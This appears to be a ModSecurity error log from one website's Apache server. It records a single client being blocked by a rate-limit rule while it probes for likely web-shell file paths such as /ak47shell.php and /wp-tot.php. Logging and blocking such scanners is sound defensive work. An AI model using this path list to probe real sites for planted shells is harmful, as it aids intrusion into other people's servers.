[Mon Apr 13 03:11:25.908186 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:24399] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/dist/vendor/about.php"] [unique_id "advuXWyJMmaONUqF0tCq_QAAAQ4"]
[Mon Apr 13 03:11:26.368129 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:24477] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/dist/vendor/about.php"] [unique_id "advuXm9Py-Y-9VQ02eHeYwAAAAw"]
[Mon Apr 13 03:11:26.802280 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:24465] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2Vu80QG.php"] [unique_id "advuXmyJMmaONUqF0tCrAAAAAQo"]
[Mon Apr 13 03:11:27.284698 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:24438] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2Vu80QG.php"] [unique_id "advuX29Py-Y-9VQ02eHebAAAABQ"]
[Mon Apr 13 03:11:27.711451 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:24481] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2Vu80QG.php"] [unique_id "advuX2yJMmaONUqF0tCrBQAAAQ8"]
[Mon Apr 13 03:11:28.128104 2026] [:error] [pid 31605:tid 31653] [client 20.151.218.28:24427] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2Vu80QG.php"] [unique_id "advuYG9Py-Y-9VQ02eHecAAAAAo"]
[Mon Apr 13 03:11:28.740784 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:24423] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bsr.php"] [unique_id "advuYG9Py-Y-9VQ02eHecgAAAAk"]
[Mon Apr 13 03:11:29.152859 2026] [:error] [pid 31606:tid 31721] [client 20.151.218.28:24479] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bsr.php"] [unique_id "advuYT9vCsshNhLmCiCOIgAAAE8"]
[Mon Apr 13 03:11:29.781075 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:24473] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bsr.php"] [unique_id "advuYW9Py-Y-9VQ02eHeeAAAABM"]
[Mon Apr 13 03:11:30.264320 2026] [:error] [pid 31607:tid 31751] [client 20.151.218.28:24385] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bsr.php"] [unique_id "advuYmjn_I-KYTWngjJN4AAAAI4"]
[Mon Apr 13 03:11:30.685548 2026] [:error] [pid 31605:tid 31643] [client 20.151.218.28:24411] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ans.php"] [unique_id "advuYm9Py-Y-9VQ02eHefgAAAAA"]
[Mon Apr 13 03:11:31.163511 2026] [:error] [pid 31605:tid 31666] [client 20.151.218.28:24333] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ans.php"] [unique_id "advuY29Py-Y-9VQ02eHeggAAABc"]
[Mon Apr 13 03:11:31.604829 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:24414] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ans.php"] [unique_id "advuY29Py-Y-9VQ02eHegwAAAAI"]
[Mon Apr 13 03:11:32.201522 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:24400] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ans.php"] [unique_id "advuZG9Py-Y-9VQ02eHehgAAABM"]
[Mon Apr 13 03:11:32.645001 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:24442] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tot.php"] [unique_id "advuZA0nq-t9pXyV1fy-PwAAAMc"]
[Mon Apr 13 03:11:33.074912 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:24403] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tot.php"] [unique_id "advuZWyJMmaONUqF0tCrEgAAAQk"]
[Mon Apr 13 03:11:33.774565 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:24567] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tot.php"] [unique_id "advuZWyJMmaONUqF0tCrEwAAARE"]
[Mon Apr 13 03:11:34.199428 2026] [:error] [pid 31606:tid 31717] [client 20.151.218.28:24549] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tot.php"] [unique_id "advuZj9vCsshNhLmCiCOJAAAAEs"]
[Mon Apr 13 03:11:34.647760 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:24352] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Core-wp.php"] [unique_id "advuZmyJMmaONUqF0tCrFgAAAQ4"]
[Mon Apr 13 03:11:35.081465 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:24502] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Core-wp.php"] [unique_id "advuZ2yJMmaONUqF0tCrGAAAAQw"]
[Mon Apr 13 03:11:35.499867 2026] [:error] [pid 31605:tid 31650] [client 20.151.218.28:24415] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Core-wp.php"] [unique_id "advuZ29Py-Y-9VQ02eHekQAAAAc"]
[Mon Apr 13 03:11:35.934733 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:24346] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Core-wp.php"] [unique_id "advuZ29Py-Y-9VQ02eHelQAAAAM"]
[Mon Apr 13 03:11:36.373545 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:24489] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/src.php"] [unique_id "advuaGyJMmaONUqF0tCrGgAAARQ"]
[Mon Apr 13 03:11:36.927768 2026] [:error] [pid 31605:tid 31664] [client 20.151.218.28:24339] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/src.php"] [unique_id "advuaG9Py-Y-9VQ02eHemQAAABU"]
[Mon Apr 13 03:11:37.445939 2026] [:error] [pid 31605:tid 31647] [client 20.151.218.28:24420] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/src.php"] [unique_id "advuaW9Py-Y-9VQ02eHenAAAAAQ"]
[Mon Apr 13 03:11:37.884667 2026] [:error] [pid 32010:tid 32025] [client 20.151.218.28:24448] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/src.php"] [unique_id "advuaQ0nq-t9pXyV1fy-QQAAAM0"]
[Mon Apr 13 03:11:38.313359 2026] [:error] [pid 32010:tid 32017] [client 20.151.218.28:24483] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/v2.php"] [unique_id "advuag0nq-t9pXyV1fy-RAAAAMU"]
[Mon Apr 13 03:11:38.759453 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:24434] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/v2.php"] [unique_id "advuamyJMmaONUqF0tCrIgAAAQc"]
[Mon Apr 13 03:11:39.173326 2026] [:error] [pid 32010:tid 32012] [client 20.151.218.28:24407] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/v2.php"] [unique_id "advuaw0nq-t9pXyV1fy-SgAAAMA"]
[Mon Apr 13 03:11:39.666847 2026] [:error] [pid 54671:tid 54699] [client 20.151.218.28:24441] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/v2.php"] [unique_id "advua2yJMmaONUqF0tCrJQAAARg"]
[Mon Apr 13 03:11:40.206967 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:24331] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nxd.php"] [unique_id "advubGyJMmaONUqF0tCrKgAAAQU"]
[Mon Apr 13 03:11:40.740604 2026] [:error] [pid 31605:tid 31654] [client 20.151.218.28:24505] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nxd.php"] [unique_id "advubG9Py-Y-9VQ02eHengAAAAs"]
[Mon Apr 13 03:11:41.176101 2026] [:error] [pid 31607:tid 31757] [client 20.151.218.28:24499] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nxd.php"] [unique_id "advubWjn_I-KYTWngjJN5QAAAJQ"]
[Mon Apr 13 03:11:41.588816 2026] [:error] [pid 31605:tid 31661] [client 20.151.218.28:24446] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nxd.php"] [unique_id "advubW9Py-Y-9VQ02eHeoQAAABI"]
[Mon Apr 13 03:11:42.039987 2026] [:error] [pid 31607:tid 31754] [client 20.151.218.28:24357] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/payout.php"] [unique_id "advubmjn_I-KYTWngjJN5gAAAJE"]
[Mon Apr 13 03:11:42.590409 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:24560] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/payout.php"] [unique_id "advubmyJMmaONUqF0tCrMgAAARQ"]
[Mon Apr 13 03:11:43.051672 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:24553] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/payout.php"] [unique_id "advub2yJMmaONUqF0tCrNwAAARc"]
[Mon Apr 13 03:11:43.545661 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:24394] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/payout.php"] [unique_id "advub2yJMmaONUqF0tCrOgAAAQs"]
[Mon Apr 13 03:11:44.035965 2026] [:error] [pid 31607:tid 31748] [client 20.151.218.28:24396] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxquidwa.php"] [unique_id "advucGjn_I-KYTWngjJN6AAAAIs"]
[Mon Apr 13 03:11:44.481677 2026] [:error] [pid 31605:tid 31654] [client 20.151.218.28:24512] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxquidwa.php"] [unique_id "advucG9Py-Y-9VQ02eHepgAAAAs"]
[Mon Apr 13 03:11:44.930881 2026] [:error] [pid 31605:tid 31667] [client 20.151.218.28:24327] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxquidwa.php"] [unique_id "advucG9Py-Y-9VQ02eHeqQAAABg"]
[Mon Apr 13 03:11:45.372905 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:24297] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxquidwa.php"] [unique_id "advucW9Py-Y-9VQ02eHerAAAAAw"]
[Mon Apr 13 03:11:45.834481 2026] [:error] [pid 31607:tid 31755] [client 20.151.218.28:24321] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/combined.php"] [unique_id "advucWjn_I-KYTWngjJN7AAAAJI"]
[Mon Apr 13 03:11:46.331702 2026] [:error] [pid 32010:tid 32027] [client 20.151.218.28:24398] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/combined.php"] [unique_id "advucg0nq-t9pXyV1fy-VgAAAM8"]
[Mon Apr 13 03:11:46.919437 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:24329] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/combined.php"] [unique_id "advucm9Py-Y-9VQ02eHeswAAAA4"]
[Mon Apr 13 03:11:47.423022 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:24444] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/combined.php"] [unique_id "advuc2yJMmaONUqF0tCrQgAAAQ0"]
[Mon Apr 13 03:11:48.036556 2026] [:error] [pid 32010:tid 32020] [client 20.151.218.28:24368] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mari.php"] [unique_id "advudA0nq-t9pXyV1fy-WAAAAMg"]
[Mon Apr 13 03:11:48.483946 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:24328] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mari.php"] [unique_id "advudA0nq-t9pXyV1fy-WQAAAMc"]
[Mon Apr 13 03:11:49.053396 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:24326] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mari.php"] [unique_id "advudWyJMmaONUqF0tCrSgAAAQk"]
[Mon Apr 13 03:11:49.526920 2026] [:error] [pid 31607:tid 31750] [client 20.151.218.28:24436] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mari.php"] [unique_id "advudWjn_I-KYTWngjJN8AAAAI0"]
[Mon Apr 13 03:11:50.076301 2026] [:error] [pid 31607:tid 31760] [client 20.151.218.28:24490] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kodox.php"] [unique_id "advudmjn_I-KYTWngjJN8QAAAJc"]
[Mon Apr 13 03:11:50.580152 2026] [:error] [pid 31607:tid 31743] [client 20.151.218.28:24323] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kodox.php"] [unique_id "advudmjn_I-KYTWngjJN8wAAAIY"]
[Mon Apr 13 03:11:51.207574 2026] [:error] [pid 31607:tid 31742] [client 20.151.218.28:24440] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kodox.php"] [unique_id "advud2jn_I-KYTWngjJN9QAAAIU"]
[Mon Apr 13 03:11:51.755457 2026] [:error] [pid 31606:tid 31722] [client 20.151.218.28:24458] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kodox.php"] [unique_id "advudz9vCsshNhLmCiCOMgAAAFA"]
[Mon Apr 13 03:11:52.213025 2026] [:error] [pid 31607:tid 31754] [client 20.151.218.28:24493] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ak47shell.php"] [unique_id "advueGjn_I-KYTWngjJN-gAAAJE"]
[Mon Apr 13 03:11:52.625385 2026] [:error] [pid 31606:tid 31715] [client 20.151.218.28:24356] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ak47shell.php"] [unique_id "advueD9vCsshNhLmCiCONQAAAEk"]
